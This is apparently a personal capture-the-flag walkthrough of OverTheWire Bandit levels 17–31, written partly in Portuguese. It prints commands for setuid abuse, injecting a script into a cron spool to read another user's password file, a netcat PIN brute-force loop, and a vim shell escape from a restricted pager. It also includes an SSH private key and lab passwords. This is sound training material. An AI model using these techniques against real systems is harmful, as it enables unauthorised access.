-----END RSA PRIVATE KEY-----
chmod 600 ~/.ssh/id_rsa_overthewire.org-bandit17x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO
Got the ‘Byebye’.
Checking out the next Bandit, as instructed.
I was being automatically disconnected from the server because there was a directive in .bashrc for that:
someone has modified .bashrc to log you out when you log in with SSH.
Then I found out that I can run a command via SSH, and that it may run before Bash did his stuff:
When you connect via SSH and specify a command to execute directly (e.g., ssh user@host “ls -l”), a non-interactive shell is often used, and your ~/.bashrc or ~/.profile might not be fully sourced, depending on the shell and the command.
I did this (intructions told about readme):
ssh bandit.labs.overthewire.org -p 2220 -l bandit18 "cat readme"cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8
A princípio fiquei confuso. Achei que o programa iria modificar o proprietário do arquivo com a senha.
Quando rodei o comando para saber o que fazer (conforme instruído), recebi a seguinte saída:
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do idEu não li a primeira linha da saída e achei que tinha que descobrir o meu id numérico do user bandit19, pra daí usar o comando para setar esse usuário como proprietário do arquivo com a senha.
Depois eu acabei rodando o comando de novo e li a primeira linha. Daí rodei:
bandit19@bandit:/etc/bandit_pass$ ~/bandit20-do cat bandit20e obtive a senha:
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
O executável bandit20-do foi setado com o user bandit20 e o meu grupo.
bandit19@bandit:~$ stat bandit20-do
File: bandit20-do
Size: 14884 Blocks: 32 IO Block: 4096 regular file
Device: 259,1 Inode: 577828 Links: 1
Access: (4750/-rwsr-x---) Uid: (11020/bandit20) Gid: (11019/bandit19)
^^^ ^^^^^^^^ ^^^ ^^^^^^^^
Access: 2025-10-10 17:14:19.958793247 +0000
Modify: 2025-08-15 13:16:01.732011756 +0000
Change: 2025-08-15 13:16:01.734011763 +0000
Birth: 2025-08-15 13:16:01.731011751 +0000Como eu faço parte do grupo do arquivo, eu posso executá-lo e como ele é do 20, eu posso ler o arquivo da próxima senha, que é dele.
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
There is a setuid binary in the homedirectory that does the following:
The “setuid binary” is suconnect:
bandit20@bandit:~$ ls -lah total 36K drwxr-xr-x 2 root root 4.0K Aug 15 13:16 . drwxr-xr-x 150 root root 4.0K Aug 15 13:18 .. -rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout -rw-r--r-- 1 root root 3.8K Aug 15 13:09 .bashrc -rw-r--r-- 1 root root 807 Mar 31 2024 .profile -rwsr-x--- 1 bandit21 bandit20 16K Aug 15 13:16 suconnect bandit20@bandit:~$ stat suconnect File: suconnect Size: 15608 Blocks: 32 IO Block: 4096 regular file Device: 259,1 Inode: 577830 Links: 1 Access: (4750/-rwsr-x---) Uid: (11021/bandit21) Gid: (11020/bandit20) Access: 2025-10-10 17:04:06.585772107 +0000 Modify: 2025-08-15 13:16:02.922063839 +0000 Change: 2025-08-15 13:16:02.923016449 +0000 Birth: 2025-08-15 13:16:02.921016442 +0000
- it makes a connection to localhost on the port you specify as a commandline argument.
- It then reads a line of text from the connection and compares it to the password in the previous level (bandit20).
- If the password is correct, it will transmit the password for the next level (bandit21).
Now, I am not sure if it
- connects to an existing connection.
- creates a new connection, or if it just
Let us try first to connect to an existing connection. We get a list of the ports—the “simple” way:
bandit20@bandit:~$ nmap localhost Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-11 16:21 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). Not shown: 993 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 1111/tcp open lmsocialserver 1840/tcp open netopia-vo2 4321/tcp open rwhois 8000/tcp open http-alt 30000/tcp open ndmps 50001/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
For the bandit19 user is the same:
bandit19@bandit:~$ nmap localhost Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-11 16:18 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). Not shown: 993 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 1111/tcp open lmsocialserver 1840/tcp open netopia-vo2 4321/tcp open rwhois 8000/tcp open http-alt 30000/tcp open ndmps 50001/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
I tried connecting both suconnect and telnet to port 1111 (has “social” in the name); suconnect with ‘&’; and then send the password through telnet.
I expect to receive an answer from suconnect, because it is in the same “chat”.
telnet 1111 &
telnet 1111
Hello, there!I didn’t get the message to be echoed on the screen, as I expected. It says something like “job stopped”; I wonder if I need to keep it running in the background.
Let’s try a different port: 30000.
bandit20@bandit:~$ ./suconnect 30000 &
[1] 69995
bandit20@bandit:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
Wrong! Please enter the correct current password.
Connection closed by foreign host.I believe this is the same guy from a previous Bandit. Let’s test it. That Bandit is 14. Let’s re-run it:
bandit20@bandit:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
MU4VWeTyJk8ROof1qqmcBPaLh7lDCPvS
Correct!
8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo
Connection closed by foreign host.Yep! It is the same, and it works for the user bandit20 too.
Apparently, two processes cannot listen to the same port (usually). I’ll try running suconnect as a daemon, and telnet as a Client. I need a port.
These are all the ports available:
| bandit20@bandit:~$ nmap -p 0-65535 localhost | |
| Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-11 17:37 UTC | |
| Nmap scan report for localhost (127.0.0.1) | |
| Host is up (0.000097s latency). | |
| Not shown: 65506 closed tcp ports (conn-refused) | |
| WORKS? | PORT STATE SERVICE |
| 22/tcp open ssh | |
| 1111/tcp open lmsocialserver | |
| 1840/tcp open netopia-vo2 | |
| 2220/tcp open netiq | |
| 2221/tcp open rockwell-csp1 | |
| 2223/tcp open rockwell-csp2 | |
| 2224/tcp open efi-mg | |
| 2225/tcp open rcip-itu | |
| 2226/tcp open di-drm | |
| 2227/tcp open di-msg | |
| 2228/tcp open ehome-ms | |
| 2230/tcp open queueadm | |
| 2231/tcp open wimaxasncp | |
| 2232/tcp open ivs-video | |
| 4091/tcp open ewinstaller | |
| 4258/tcp open vrml-multi-use | |
| 4321/tcp open rwhois | |
| 5842/tcp open reversion | |
| 8000/tcp open http-alt | |
| bandit14 | 30000/tcp open ndmps |
| n | 30001/tcp open pago-services1 |
| bandit25 | 30002/tcp open pago-services2 |
| 31046/tcp open unknown | |
| 31518/tcp open unknown | |
| 31691/tcp open unknown | |
| 31790/tcp open unknown | |
| 31960/tcp open unknown | |
| 50001/tcp open unknown | |
| 51790/tcp open unknown | |
| 60917/tcp open unknown |
Given that bandit15 uses port 30000, and bandit25 uses port 30002, I bet the port I need for this Bandit is 30001.
I tried first running succonect on the background and sending the password via nc. But it closes the connection.
bandit20@bandit:~$ ./suconnect 30001 & [1] 290352 bandit20@bandit:~$ nc localhost 30001 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO bandit20@bandit:~$ <--- It closes the connection
I tried using screen to run the daemon, and another session to connect to it.
I created a dedicated session for suconnect:
screen -S suconnectThen I started the suconnect daemon.
./suconnect 30001Then I detached the screen session with C-a d.
Then I connected and sent the password using nc.
nc localhost 30001I was disconnected, as expected.
Then I reattached to the screen running suconnect with
screen -x suconnectI expected to see the next password as the output there, but there was no output.
Future me: up until now, I had tried:
suconnectas the daemon- using already opened ports
| Daemon | Open new port | Use existing port |
|---|---|---|
| suconnect | Doesn’t work | |
| nc |
I tried connecting with suconnect to every port in the interval 0–65535.
It connected to some, but I couldn’t tell if it was connecting to an open port or opening a new port.
Then I came across this answer on Stackoverflow that teaches hot to solve it.
According to this answer, nc will be the daemon, and suconnect will be the client.
The answer instructs to use the parameters -lnvp for nc.
I first tried to use port 30001.
bandit20@bandit:~$ nc -lnvp 30001 nc: Address already in use
Then I tried a port not reported by nmap above.
bandit20@bandit:~$ nc -lnvp 30003 Listening on 0.0.0.0 30003
Then I dettached and attached to suconnect’s screen.
I started suconnect there using the same port.
./suconnect 30003No output.
Back on nc’s screen, I got the message of a received connection, probably from suconnect.
Connection received on 127.0.0.1 54356
I then sent the current password, and got the next one as a reply.
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO EeoULMCra2q0dSkYj561DX7s1CpBuOBt
Back on suconnect’s screen:
Read: 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO Password matches, sending next password
After reading this from man lc:
-l Listen for an incoming connection rather than initiating a con‐
nection to a remote host. The destination and port to listen on
can be specified either as non-optional arguments, or with op‐
tions -s and -p respectively. Cannot be used together with -x or
-z. Additionally, any timeouts specified with the -w option are
ignored.
I tried with just nc -l, and it worked the same.
I also tried still using nc as the daemon, but without any parameter.
bandit20@bandit:~$ nc 30003 nc: missing port number
Then with the host.
bandit20@bandit:~$ nc localhost 30003 bandit20@bandit:~$
Apparently it did not create a connection.
I still tried starting suconnect.
bandit20@bandit:~$ ./suconnect 30003 Could not connect
This shows that it needs the -l parameter.
I looked at the manpage for the meaning of the nvp parameters.
-n Do not perform domain name resolution. If a name cannot be re‐
solved without DNS, an error will be reported.
I don’t see why this would affect the command, as no host was used.
-v Produce more verbose output.
Non-essential.
-p source_port
Specify the source port nc should use, subject to privilege re‐
strictions and availability.
Why does it work witout specifying 30003 as a port with p?
The only mandatory parameter so far is l, which needs a destination and port.
From the manpage:
In general, a destination must be specified, unless the -l option is given (in which case the local host is used).
Now, the only mandatory parameter is the port, so there is no reason to make -p mandatory.
EeoULMCra2q0dSkYj561DX7s1CpBuOBt
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in etc/cron.d for the configuration and see what command is being executed.
The files in /etc/cron.d/ are:
bandit21@bandit:/etc/cron.d$ ls -lah total 60K drwxr-xr-x 2 root root 4.0K Aug 15 13:19 . drwxr-xr-x 128 root root 12K Aug 29 21:51 .. -r--r----- 1 root root 47 Aug 15 13:16 behemoth4_cleanup -rw-r--r-- 1 root root 123 Aug 15 13:09 clean_tmp -rw-r--r-- 1 root root 120 Aug 15 13:16 cronjob_bandit22 -rw-r--r-- 1 root root 122 Aug 15 13:16 cronjob_bandit23 -rw-r--r-- 1 root root 120 Aug 15 13:16 cronjob_bandit24 -rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all -r--r----- 1 root root 48 Aug 15 13:17 leviathan5_cleanup -rw------- 1 root root 138 Aug 15 13:17 manpage3_resetpw_job -rwx------ 1 root root 52 Aug 15 13:19 otw-tmp-dir -rw-r--r-- 1 root root 102 Mar 31 2024 .placeholder -rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
To get the file contents I used cat:
bandit21@bandit:/etc/cron.d$ find . -exec echo {} \; -exec cat {} \; -exec echo "" \;
This guy is the most suspicious one.
./sysstat # The first element of the path is a directory where the debian-sa1 # script is located PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin # Activity reports every 10 minutes everyday 5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1 # Additional run at 23:59 to rotate the statistics file 59 23 * * * root command -v debian-sa1 > /dev/null && debian-sa1 60 2
The contents of “the first element of the path”, /usr/lib/sysstat/, are:
bandit21@bandit:/usr/lib/sysstat$ alias ls='ls -lah' bandit21@bandit:/usr/lib/sysstat$ ls total 104K drwxr-xr-x 2 root root 4.0K Jul 31 10:05 . drwxr-xr-x 86 root root 4.0K Aug 15 13:10 .. -rwxr-xr-x 1 root root 446 Jan 9 2024 debian-sa1 -rwxr-xr-x 1 root root 1.8K Jan 9 2024 sa1 -rwxr-xr-x 1 root root 1.6K Jan 9 2024 sa2 -rwxr-xr-x 1 root root 82K Jan 9 2024 sadc
It didn’t take anywhere interesting.
After some fiddling around:
bandit21@bandit:~$ cat /cat /usr/bin/cronjob_bandit22.sh cat: /cat: No such file or directory #!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
The passwords are in those /etc/bandit_pass/banditXX files.
This cron job is copying the password I need, bandit22’s, to a temp file.
To see it, I did:
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q
and voilà:
tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in etc/cron.d for the configuration and see what command is being executed.
NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.
The contents of /etc/cron.d/ should be the same.
I’ll start by investigating bandit22’s script.
This is the job for the bandit:
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23 @reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null * * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
and this is the contents of that script:
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh #!/bin/bash myname=$(whoami) mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget" cat /etc/bandit_pass/$myname > /tmp/$mytarget
It uses the username bandit24 (that would be gotten from whoami) to create a target filename in a somewhat sophisticated process involving mdsum.
I simulate the results of that command to get the script’s real target:
bandit22@bandit:/etc/cron.d$ myname=bandit23; mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) bandit22@bandit:/etc/cron.d$ echo $mytarget 8ca319486bfbbc3663ea0fbe81326349
Then I use that to cat the password from that target file:
bandit22@bandit:/etc/cron.d$ cat /tmp/$mytarget 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
Password obtained.
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level! NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around… Commands you may need to solve this level chmod, cron, crontab, crontab(5) (use “man 5 crontab” to access this)
I go straight to bandit24’s script:
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
----------------------------------------------------------------------
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
I analyze it piece by piece:
myname=$(whoami)
Sets myname to bandit24.
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
<<process each file>>
fi
done
It processes each file in /var/spool/bandit24/foo.
I tried reading the contents of that directory, but got Permission denied.
The processing of each file occurs as follows:
<<process each file>> +≡
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
It runs my scripts inside /var/spool/bandit24/foo.
I will try to inject a script there that somehow gives me bandit24’s password.
#!/bin/bash
MY_PASS_FILE=/etc/bandit_pass/bandit24
TARGET=zoiaum
cat ${MY_PASS_FILE} > ${TARGET}
cp ${TARGET} /tmpI created a file /tmp/zoinho.sh, chmod +x it, and copied it to /var/spool/bandit24/foo.
Then after typing this, I went to check if I got the password.
bandit23@bandit:/tmp$ cat zoiaum gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
That file was created by bandit24, and I was curious why I have permission to read it.
I ran a stat on it:
bandit23@bandit:/tmp$ stat zoiaum File: zoiaum Size: 33 Blocks: 8 IO Block: 4096 regular file Device: 259,1 Inode: 87017 Links: 1 Access: (0664/-rw-rw-r--) Uid: (11024/bandit24) Gid: (11024/bandit24) Access: 2025-10-11 21:55:30.532352401 +0000 Modify: 2025-10-11 21:55:01.567169570 +0000 Change: 2025-10-11 21:55:01.567169570 +0000 Birth: 2025-10-11 21:55:01.565351402 +0000
I can see that, the file was created with read permission for everybody, and that is why I am allowed to read it.
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time
I try first to connect with nc to port 30002.
bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Ok, separate password and pincode by a space.
I go to the manpage for ideas on how to bruteforce it without creating new connections each time.
nc localhost 30002 << EOF gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 0000 gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 0001 EOF
This works, but I would have to create a huge input string with all the possible combinations. Can I do it programatically? Back to the manpage.
Couldn’t find any way to build the combinations programatically without having to create a file.
My first idea was to use yes to create copies of the password, then seq for the pin codes, then another command to concatenate them in columns, and pass it to nc’s connection to port 30002.
I could not find a command to concatenate the columns on Info coreutils.
Then googling I stumbled upon COMMAND | while read LINE; do echo $LINE.
It works like this: COMMAND | while PREDICATE; BODY;.
The redirection with | gives COMMAND’s output to while.
while consumes that output one line per iteration.
PREDICATE is evaluated once per iteration.
In this case, it is the result of read LINE.
read is programmed to assign the value of its input to the variable LINE.
read makes that line accessible via $LINE.
Note that it could be any other name, instead of “LINE”—it is just a variable name.
I saw that I could use this to concatenate the password with the pin codes with:
seq -w 0 9999 | while read i; do echo gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i; done | nc localhost 30002
I ran it in the server.
bandit24@bandit:~$ seq -w 0 9999 | while read i; do echo gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i; done | nc localhost 30002 ... Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Correct! The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4
I was curious to know the correct pin code. I redirected the output to a file, and counted the lines of that file, then tried guessing some pin codes in that neighborhood. I could have done some math :P
seq -w 0 9999 | while read i; do echo gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i; done | nc localhost 30002 > /tmp/tmp.kPTagzvdT7 bandit24@bandit:~$ wc -l /tmp/tmp.kPTagzvdT7 9166 /tmp/tmp.kPTagzvdT7 bandit24@bandit:~$ head /tmp/tmp.kPTagzvdT7 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. b bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 9164 Wrong! Please enter the correct current password and pincode. Try again. gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 9163 Wrong! Please enter the correct current password and pincode. Try again. gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 9162 Correct! The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4
The pincode is 9162.
iCi86ttT4KSNe1armKiwbQNmB3YJP3q4
Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
Commands you may need to solve this level
ssh, cat, more, vi, ls, id, pwd
There’s a private key in bandit25’s home dir:
id_rsa_overthewire.org-bandit26 ≡
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
pTfaeRHXzr0Y0a5Oe3GB/+W2+PReif+bPZlzTY1XFwpk+DiHk1kmL0moEW8HJuT9
/5XbnpjSzn0eEAfFax2OcopjrzVqdBJQerkj0puv3UXY07AskgkyD5XepwGAlJOG
xZsMq1oZqQ0W29aBtfykuGie2bxroRjuAPrYM4o3MMmtlNE5fC4G9Ihq0eq73MDi
1ze6d2jIGce873qxn308BA2qhRPJNEbnPev5gI+5tU+UxebW8KLbk0EhoXB953Ix
3lgOIrT9Y6skRjsMSFmC6WN/O7ovu8QzGqxdywIDAQABAoIBAAaXoETtVT9GtpHW
qLaKHgYtLEO1tOFOhInWyolyZgL4inuRRva3CIvVEWK6TcnDyIlNL4MfcerehwGi
il4fQFvLR7E6UFcopvhJiSJHIcvPQ9FfNFR3dYcNOQ/IFvE73bEqMwSISPwiel6w
e1DjF3C7jHaS1s9PJfWFN982aublL/yLbJP+ou3ifdljS7QzjWZA8NRiMwmBGPIh
Yq8weR3jIVQl3ndEYxO7Cr/wXXebZwlP6CPZb67rBy0jg+366mxQbDZIwZYEaUME
zY5izFclr/kKj4s7NTRkC76Yx+rTNP5+BX+JT+rgz5aoQq8ghMw43NYwxjXym/MX
c8X8g0ECgYEA1crBUAR1gSkM+5mGjjoFLJKrFP+IhUHFh25qGI4Dcxxh1f3M53le
wF1rkp5SJnHRFm9IW3gM1JoF0PQxI5aXHRGHphwPeKnsQ/xQBRWCeYpqTme9amJV
tD3aDHkpIhYxkNxqol5gDCAt6tdFSxqPaNfdfsfaAOXiKGrQESUjIBcCgYEAxvmI
2ROJsBXaiM4Iyg9hUpjZIn8TW2UlH76pojFG6/KBd1NcnW3fu0ZUU790wAu7QbbU
i7pieeqCqSYcZsmkhnOvbdx54A6NNCR2btc+si6pDOe1jdsGdXISDRHFb9QxjZCj
6xzWMNvb5n1yUb9w9nfN1PZzATfUsOV+Fy8CbG0CgYEAifkTLwfhqZyLk2huTSWm
pzB0ltWfDpj22MNqVzR3h3d+sHLeJVjPzIe9396rF8KGdNsWsGlWpnJMZKDjgZsz
JQBmMc6UMYRARVP1dIKANN4eY0FSHfEebHcqXLho0mXOUTXe37DWfZza5V9Oify3
JquBd8uUptW1Ue41H4t/ErsCgYEArc5FYtF1QXIlfcDz3oUGz16itUZpgzlb71nd
1cbTm8EupCwWR5I1j+IEQU+JTUQyI1nwWcnKwZI+5kBbKNJUu/mLsRyY/UXYxEZh
ibrNklm94373kV1US/0DlZUDcQba7jz9Yp/C3dT/RlwoIw5mP3UxQCizFspNKOSe
euPeaxUCgYEAntklXwBbokgdDup/u/3ms5Lb/bm22zDOCg2HrlWQCqKEkWkAO6R5
/Wwyqhp/wTl8VXjxWo+W+DmewGdPHGQQ5fFdqgpuQpGUq24YZS8m66v5ANBwd76t
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=
-----END RSA PRIVATE KEY-----
chmod 600 ~/.ssh/id_rsa_overthewire.org-bandit26After preparations above, used it to ssh as bandit26.
It connects, but closes right away:
_ _ _ _ ___ __ | | | (_) | |__ \ / / | |__ __ _ _ __ __| |_| |_ ) / /_ | '_ \ / _` | '_ \ / _` | | __| / / '_ \ | |_) | (_| | | | | (_| | | |_ / /| (_) | |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ Connection to bandit.labs.overthewire.org closed.
I believe I must find out about what the shell for bandit26 is.
.bash_logout has some “privacy-increasing” measures…
# ~/.bash_logout: executed by bash(1) when login shell exits.
# when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
bandit25@bandit:/home/bandit26$ /usr/bin/clear_console clear_console: terminal is not a console
Meh.
I could find out bandit26’s login shell by looking at the default place: /etc/passwd.
bandit25@bandit:~$ cat /etc/passwd|grep bandit26 bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
The contents of /usr/bin/showtext are:
bandit25@bandit:~$ cat /usr/bin/showtext ---------------------------------------------------------------------- #!/bin/sh export TERM=linux exec more ~/text.txt exit 0
Se eu peço para o ssh executar um comando ao final, tipo
ssh {host port user id_rsa, etc} /bin/bash
ele fica travado.
Acho que é isso que o enunciado se refere quando diz
Find out what it is, how it works and how to break out of it.
- What it is
/usr/bin/showtext
- How it works
- It opens a text file, shows its content on the screen, and quits.
- It uses
exec, and this means- This prevents access to the shell
- It uses
- It opens a text file, shows its content on the screen, and quits.
O exec roda o comando por cima do /usr/bin/showtext.
O exec é um shell buit-in:
(base) rafa@bach:~$ type -a exec exec is a shell builtin
(base) rafa@bach:~$ help exec
exec: exec [-cl] [-a name] [command [argument ...]] [redirection ...]
Replace the shell with the given command.
Execute COMMAND, replacing this shell with the specified program.
ARGUMENTS become the arguments to COMMAND. If COMMAND is not specified,
any redirections take effect in the current shell.
Options:
-a name pass NAME as the zeroth argument to COMMAND
-c execute COMMAND with an empty environment
-l place a dash in the zeroth argument to COMMAND
If the command cannot be executed, a non-interactive shell exits, unless
the shell option `execfail' is set.
Exit Status:
Returns success unless COMMAND is not found or a redirection error occurs.
(base) rafa@bach:~$
According to this answer on Server Fault, all commands executed via ssh are actually executed by the login shell. This would mean
ssh {connection stuff} ls
ssh {…} /usr/bin/showtext ls.
But /usr/bin/showtext does not deal with arguments in any way. So I don’t see how this could help me.
more accepts commands like vi
in vi, they come via stderr
this works for vi:
https://vi.stackexchange.com/a/44475 vim - <<< “Hello, World!” 2<<< “:w! file.txt | :q”
É pra mandar um Ctrl+Z enquanto o more ainda tá rodando.
Isso vai me dar o shell que o invocou.
Short-lived program
Difícil na mão.
Usar um programa: expect.
Precisa de um script.
#!/usr/bin/expect -f
# bandit26-hit.exp — spawn ssh and immediately send a control byte, then hand control to you.
# === Configuration: change these to match your local SSH command ===
set timeout 10
set ssh_cmd {ssh -t -p 2220 -l bandit26 -i ~/.ssh/id_rsa_overthewire.org-bandit26 bandit.labs.overthewire.org}
# === Control character to send ===
# \032 is Ctrl+Z (ASCII SUB). Change to \003 for Ctrl+C, etc.
set ctrl_byte "\003"
# Spawn the SSH client
spawn -noecho {*}$ssh_cmd
# Option 1: wait for any data from the remote side, then immediately send the control char
# (this triggers the key while the pager is running)
expect {
-re {.+} { send -- $ctrl_byte }
timeout { send -- $ctrl_byte } ;# fallback: send anyway if nothing seen within timeout
}
# Hand control to your terminal interactively
interact
chmod +x bandit26.expectjanela pequena força modo interativo do more
v abre o vim
rodar ocmandos no vim
rodei um open do pass if
:e /etc/band…/band..26
s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ
Essa senha deixa logar, mas cai no mesmo problema.
:set shell=/bin/bash
:shell
upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB
git repo at
ssh://bandit27-git@localhost/home/bandit27-git/repo via the port 2220
i have to clone this repo
from the manpage, the format for ssh urls is
ssh://[user@]host.xz[:port]/~[user]/path/to/repo.git/
translating to the address:
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
didn’t allow the clone (no write permission)
going local
git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
password was inside README
Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN
ssh://bandit28-git@localhost/home/bandit28-git/repo via the port 2220.
git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo
tava no git log
sshpass -p 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7 ssh bandit.labs.overthewire.org -p 2220 -l bandit29
Level Goal
There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo via the port 2220. The password for the user bandit29-git is the same as for the user bandit29.
Clone the repository and find the password for the next level. Commands you may need to solve this level
git
Basic clone structure.
export SERVER=bandit29-git@bandit.labs.overthewire.org
export PORT=2220
export REMOTE_FOLDER=/home/bandit29-git/repo
export REMOTE_REPO=ssh://$SERVER:$PORT$REMOTE_FOLDER
export LOCAL_FOLDER=$HOME/hack/overthewire.org/bandit29-git-repo
export REPO=$LOCAL_FOLDEREssential in this problem: mirror the remote repository.
This way we get all the branches.
The password turned out to be on a branch dev, that was not fetched with the normal git clone command.
export GIT_FLAGS="--mirror"
echo git clone $GIT_FLAGS $REMOTE_REPO $REPOqp30ex3VLz5MDG1n91YowTv4Q8l7CDZL
Level Goal
There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo via the port 2220. The password for the user bandit30-git is the same as for the user bandit30.
Clone the repository and find the password for the next level. Commands you may need to solve this level
git
export BANDIT=bandit30-git
export URL=${BANDIT}@bandit.labs.overthewire.org
export PORT=2220
export REMOTE_FOLDER=/home/${BANDIT}/repo
export REMOTE_REPO=ssh://$URL:$PORT$REMOTE_FOLDER
export LOCAL_FOLDER=$HOME/hack/overthewire.org/${BANDIT}-repo
export REPO=$LOCAL_FOLDER
export GIT_FLAGS="--mirror"
echo git clone $GIT_FLAGS $REMOTE_REPO $REPOThere was a secret tag.
Fetched it.
Couldn’t checkout to it, nor hard reset to it.
Then I looked inside it.
(base) rafa@bach:~/hack/overthewire.org/bandit30-git-repo$ git cat-file -p secret fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy
Level Goal
There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the same as for the user bandit31.
